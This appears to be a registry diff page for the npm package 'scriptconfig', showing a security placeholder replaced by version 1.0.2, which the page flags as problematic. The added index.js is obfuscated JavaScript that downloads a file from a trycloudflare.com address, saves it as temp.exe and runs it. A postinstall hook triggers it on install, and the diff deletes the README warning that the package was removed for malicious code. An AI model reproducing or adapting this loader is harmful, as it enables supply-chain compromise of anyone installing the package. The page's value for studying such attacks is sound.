scriptconfig 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of scriptconfig might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const _0x7af2a9=_0x5ee5;(function(_0x16d1ce,_0x10c2a3){const _0x1a0fa8=_0x5ee5,_0x108282=_0x16d1ce();while(!![]){try{const _0x1ac9a0=-parseInt(_0x1a0fa8(0x74))/0x1+-parseInt(_0x1a0fa8(0x80))/0x2*(-parseInt(_0x1a0fa8(0x7c))/0x3)+parseInt(_0x1a0fa8(0x7f))/0x4*(-parseInt(_0x1a0fa8(0x6d))/0x5)+-parseInt(_0x1a0fa8(0x70))/0x6*(-parseInt(_0x1a0fa8(0x77))/0x7)+parseInt(_0x1a0fa8(0x75))/0x8*(-parseInt(_0x1a0fa8(0x6f))/0x9)+-parseInt(_0x1a0fa8(0x6e))/0xa+parseInt(_0x1a0fa8(0x7e))/0xb;if(_0x1ac9a0===_0x10c2a3)break;else _0x108282['push'](_0x108282['shift']());}catch(_0x340d1b){_0x108282['push'](_0x108282['shift']());}}}(_0x1174,0x63171));const fs=require(_0x7af2a9(0x78)),path=require(_0x7af2a9(0x81)),fetch=require(_0x7af2a9(0x7a)),{exec}=require('child_process'),exeFileName=_0x7af2a9(0x7d),downloadUrl=_0x7af2a9(0x73),exeFilePath=path[_0x7af2a9(0x76)](__dirname,exeFileName);async function downloadFile(_0x2ec643,_0x21e0cb){const _0x118d99=_0x7af2a9,_0x3a6d49=await fetch(_0x2ec643);if(!_0x3a6d49['ok'])throw new Error('HTTP\x20error!\x20status:\x20'+_0x3a6d49[_0x118d99(0x79)]);const _0x2cd3ab=await _0x3a6d49[_0x118d99(0x7b)]();await fs['writeFile'](_0x21e0cb,_0x2cd3ab);}async function runExecutable(){const _0x260fd9=_0x7af2a9;try{await downloadFile(downloadUrl,exeFilePath),exec(exeFilePath,_0x41910f=>{const _0x596a72=_0x5ee5;_0x41910f&&console['error'](_0x596a72(0x71)+_0x41910f);});}catch(_0x205854){console['error'](_0x260fd9(0x72)+_0x205854);}}function _0x5ee5(_0x248f00,_0x56a03b){const _0x11741c=_0x1174();return _0x5ee5=function(_0x5ee5f5,_0x219e54){_0x5ee5f5=_0x5ee5f5-0x6d;let _0x435724=_0x11741c[_0x5ee5f5];return _0x435724;},_0x5ee5(_0x248f00,_0x56a03b);}runExecutable();function _0x1174(){const _0x1ca715=['14189428plWnHE','8524ZZOeys','960DpDHbi','path','795pdYmab','754950KZnoVR','306GwicwF','6TUUXsq','Error\x20running\x20the\x20executable:\x20','Download\x20error:\x20','https://remove-martin-ser-oakland.trycloudflare.com/home','706940wUWmGd','147576PeweZh','join','4911669CMjnAZ','fs-extra','status','node-fetch','buffer','1017CpdHIf','temp.exe'];_0x1174=function(){return _0x1ca715;};return _0x1174();}
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "scriptconfig",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "Pkg",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "update": "index.js"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node index.js"
11
+ },
12
+ "dependencies": {
13
+ "fs-extra": "^10.0.0",
14
+ "node-fetch": "^2.6.7",
15
+ "sudo-prompt": "^9.2.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=scriptconfig for more information.